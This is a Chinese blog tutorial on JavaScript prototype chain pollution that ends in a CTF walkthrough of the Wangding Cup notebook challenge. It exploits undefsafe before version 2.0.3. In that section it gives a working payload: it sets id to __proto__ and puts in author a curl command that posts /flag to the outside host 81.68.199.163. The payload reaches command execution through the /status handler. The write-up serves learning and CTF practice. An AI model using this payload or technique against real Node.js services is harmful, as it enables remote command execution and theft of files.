depy

It is a long and beautiful life.

深入理解原型链污染漏洞

网络安全

前言

早些时候听过这个漏洞,但是一直没有去学习研究过。之前网鼎杯的时候碰到过一个原型链污染的题目,但是不会做,队友做了出来。

看脚本的时候以为是js的啥漏洞直接命令执行,一直没深入研究。最近面试的时候被问到了,我说不会,好在其他方面让他们比较满意没怎么影响面试,但是还是值得去学习一下。

本文参p神的博文,在他的基础上能够用更加能让我理解的方式来解释而已。

什么是原型

首先得知道前置知识,javascript中的类。

他不像java和php那样使用class来定义类,而是通过函数定义的方法。

例如

function depy(){
    this.face = "handsome"
}
new depy()

6059caf7409d8.png

一个类的话肯定要有方法对吧,比如的depy会吃饭

function depy(){
    this.face = "handsome";
    this.eat = function(){
        console.log("我吃了一碗饭!")
    }
}
let a = new depy()
a.eat()

6059cdf47c5c4.png

这里,我们每次新建一个对象。都会去执行一次this.eat = function()这个方法,所以需要用原型去定义一个方法,这样的话就避免了多次执行this.eat = function()。

function depy(){
    this.face = "handsome";
}
depy.prototype.eat = function eat(){
    console.log('我吃了一碗饭')
}
let a = new depy()
a.eat()

6059cf8f049dc.png

这是一个晦涩难懂的问题,就比如我为什么非要用原型去定义方法?为什么我就不可以使用this.function去定义?

6059d07d30efd.png

我觉得这样就可以很清楚理解原形定义带来的好处,可以任何时刻定义方法,且这个方法绑定在了对象上与初始的类没有关系,也就是我后期定义的方法可以通过任何实例化的的对象共享使用。

所以,可以用this.function去定义方法,但是不灵活,不够实用。所有的对象实例都可以共享它包含的属性和方法。这一点可以在构造函数里就可以看出来,因为构造函数在函数里面就定义了对象的实例信息,而原型对象可以在任何地方定义属性和方法。

6059d118aec91.png

接着说,我们可以通过定义的类(例如depy)去访问原型,方法是depy.prototype,而js有个限制,实例化的对象不能和类名重复

6059d1f0ca78c.png

并且实例化的对象是不能够访问原型的,例如我们不能狗通过上面实例化的b 去定义一个原型

6059d2395205d.png

所以出现了_proto_

6059d275abad0.png

这就好像是后天学习,b这个人在后天学习发明了手机,并且放到了人类这个整体的知识库中去了,那么a这个人就可以在人类知识库后天获取到手机这个东西。

用一个比较生动的说明:远古的世界通过基因(prototype)去定义人类(depy)的先天属性(吃饭),繁衍的人(b)通过后天学习(_proto_)让人类(depy)可以上网,所以所有生出来的人和已经存在的人(any depy)都可以上网。

原型链继承

6059f1c9611ca.png

6059f1db13c09.png

通过这张图能够大概知道,原型链通过类似:

depy.prototype = new hello()

方式继承后,将获得hello中的所有的属性,但是这个是覆盖操作,也就是之前定义的原型的属性tall、eye对新的对象d不再适用。同样的,继承后的err属性在已经实例化的a、c中不可获取


6059d8ba8c8de.png

6059d8ff5f63f.png

继续通过新的例子。

但是我们可以发现,depy类和hello类都有个face属性,显然d.face的结果是handsome,所以可以知道javascript引擎获取属性的方法。

例如获取:a.face

  1. 先去找a.face是否存在

  2. a不存在face这个属性,进而找a.__proto__.face

  3. 依次往下寻找,直到找到null

看图:

6059daafc908b.png

JavaScript的这个查找的机制,被运用在面向对象的继承中,被称作prototype继承链。

以上就是最基础的JavaScript面向对象编程,我们并不深入研究更细节的内容,只要牢记以下几点即可:

  1. 每个构造函数(constructor)都有一个原型对象(prototype)

  2. 对象的__proto__属性,指向类的原型对象prototypeJavaScript

  3. 使用prototype链实现继承机制

什么是原型链污染?

6059db6f59796.png

实例化对象d的__proto__就是depy的prototype,所以可以设想的是,我们是否能够通过对象d去操控类depy呢?

6059dc39c3ae6.png

通过上面的继承机制,所以获取猫的name的时候还是原来的1。但是为什么一个空对象的dog,居然会有名字呢?

我们通过cat.__proto__去修改了原型object,相当于动态的给object添加了一个属性name。而实例化对象定义的时候本身就定义了一个属性name,通过查找顺序,直接能够找到cat.name,所以是1。而此时object对象已经修改了,添加了一个属性name,那么之后实例化的对象dog就可以先天获取一个属性name,值是2。

所以,在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染。

漏洞攻击案例

我们需要通过漏洞进行攻击,就需要直到哪些场景可以让我们控制一个对象的原型。

要知道的是a.name = a['name']

6059de01ba416.png

如果把name变成__proto__,会不会执行一个dog.__proto__.name的操作呢?

6059dfcc4e0a6.png

上面定义了一个合并的方法,通过存在赋值的操作target[key] = source[key]

使得有个预期的定义方法 o1.__proto__.b= o2.__proto__.b

这样会修改我们的o1 object 让他有个b属性 达到污染原型链的效果,但是新实例化的对象o3并没有这个属性

这是因为我们用JavaScript创建o2的过程(let o2 = {a: 1, "__proto__": {b: 2}})中,__proto__已经代表o2的原型了,此时遍历o2的所有键名,你拿到的是[a, b],而没有__proto__这个键,所以o1做合并的时候并不会去定义o1.__proto__.b。

所以我们需要做的是,让__proto__变成一个键名。

6059e112bfdd7.png

js中有个json.prase的方法,json解析的时候,会把__proto__变成一个键名,可以理解为和a同级,而不是一个原型的属性了,变成一个普通的属性。

这样的话就会去执行o1.__proto__.b= o2.__proto__.b,从而污染object的原型链。

实际运用

这里需要直到node的处理过程,其实就是通过请求体获取然后给object原型添加了一个__proto__的属性sourceurl,之后sourceurl进入了下一个function后执行了后端的execsync方法,从而实现了命令执行。

var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';
// ...
var result = attempt(function() {
  return Function(importsKeys, sourceURL + 'return ' + source)
  .apply(undefined, importsValues);
  });

但是原型链污染有个弊端,他污染了全部的object对象,例如你输入的命令是获取了flag,flag打印出来了是吧,但是其他人访问这个的时候也会执行打印flag的方法,所以需要用for循环来把原型删掉。

重新回顾下网鼎杯

学完之后发现很简单,当时觉得难到爆炸,考点都不知道

var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process');
var app = express();
class Notes {
    constructor() {
        this.owner = "whoknows";
        this.num = 0;
        this.note_list = {};
    }
    write_note(author, raw_note) {
        this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
    }
    get_note(id) {
        var r = {}
        undefsafe(r, id, undefsafe(this.note_list, id));
        return r;
    }
    edit_note(id, author, raw) {
        undefsafe(this.note_list, id + '.author', author);
        undefsafe(this.note_list, id + '.raw_note', raw);
    }
    get_all_notes() {
        return this.note_list;
    }
    remove_note(id) {
        delete this.note_list[id];
    }
}
var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note");
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');
app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public')));
app.get('/', function(req, res, next) {
    res.render('index', { title: 'Notebook' });
});
app.route('/add_note')
    .get(function(req, res) {
        res.render('mess', {message: 'please use POST to add a note'});
    })
    .post(function(req, res) {
        let author = req.body.author;
        let raw = req.body.raw;
        if (author && raw) {
            notes.write_note(author, raw);
            res.render('mess', {message: "add note sucess"});
        } else {
            res.render('mess', {message: "did not add note"});
        }
    })
app.route('/edit_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to edit a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        let author = req.body.author;
        let enote = req.body.raw;
        if (id && author && enote) {
            notes.edit_note(id, author, enote);
            res.render('mess', {message: "edit note sucess"});
        } else {
            res.render('mess', {message: "edit note failed"});
        }
    })
app.route('/delete_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to delete a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        if (id) {
            notes.remove_note(id);
            res.render('mess', {message: "delete done"});
        } else {
            res.render('mess', {message: "delete failed"});
        }
    })
app.route('/notes')
    .get(function(req, res) {
        let q = req.query.q;
        let a_note;
        if (typeof(q) === "undefined") {
            a_note = notes.get_all_notes();
        } else {
            a_note = notes.get_note(q);
        }
        res.render('note', {list: a_note});
    })
app.route('/status')
    .get(function(req, res) {
        let commands = {
            "script-1": "uptime",
            "script-2": "free -m"
        };
        for (let index in commands) {
            exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
                if (err) {
                    return;
                }
                console.log(`stdout: ${stdout}`);
            });
        }
        res.send('OK');
        res.end();
    })
app.use(function(req, res, next) {
    res.status(404).send('Sorry cant find that!');
});
app.use(function(err, req, res, next) {
    console.error(err.stack);
    res.status(500).send('Something broke!');
});
const port = 8080;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))

undefsafe在版本2.0.3之前都是存在原型链污染的,类似:

var a = require("undefsafe");
var payload = "__proto__.toString";
a({},payload,"depy");
console.log({}.toString);

相当于给object添加一个键名为payload(__proto__.tostring),值是depy的操作。

也就是做了 object.__proto__.toString = depy 自然而然,之后所有实例化的对象都会有tostring的方法。

在 Notes.edit_note 函数

edit_note(id, author, raw) {
  undefsafe(this.note_list, id + '.author', author);         
  undefsafe(this.note_list, id + '.raw_note', raw);     
    }

此函数通过 undefsafe 直接将 id.author 与 id.raw_note 解压到 this.note_list,根据参考链接中描述的, 因为 note_list 的基本类型是 {},也就是 Object。

当 note_list 的 __proto__ 不存在时,会递归到 note_list 所继承的 Object 属性上去寻找 __proto__,那么此时, 假如传进来的 id 是 __proto__, 将会导致 this.note_list 的基本类型, 也就是 Object 的属性 __proto__ 被污染, 在 Object 的 __proto__ 属性上新增了 author 与 raw_note 属性。造成原型链污染。

6059e6c36d72c.png而这两个属性值是我们可控的,所以只需要post

id=__proto__
author=curl 81.68.199.163:9243 -F 'file=@/flag'
raw=1

这样的json数据 就污染了我们的object原型 污染了之后,在status 有个定义对象的操作

let commands

此时原型链已经被污染了,所以commands对象中的__proto__会存在属性author,而数组遍历会去原型中找属性,也就是会读取到我们污染的命令,造成rce

话不多说 开个buu 做一下把

6059eb1d434ac.png

首先污染原型链

6059ec4b17084.png

此时 object已经多了两个属性 author和raw 监听端口 访问status

6059ecd0b55c2.png

成功获得flag

参考资料

  1. https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html#0x01-prototype__proto__

  2. https://blog.csdn.net/cc18868876837/article/details/81211729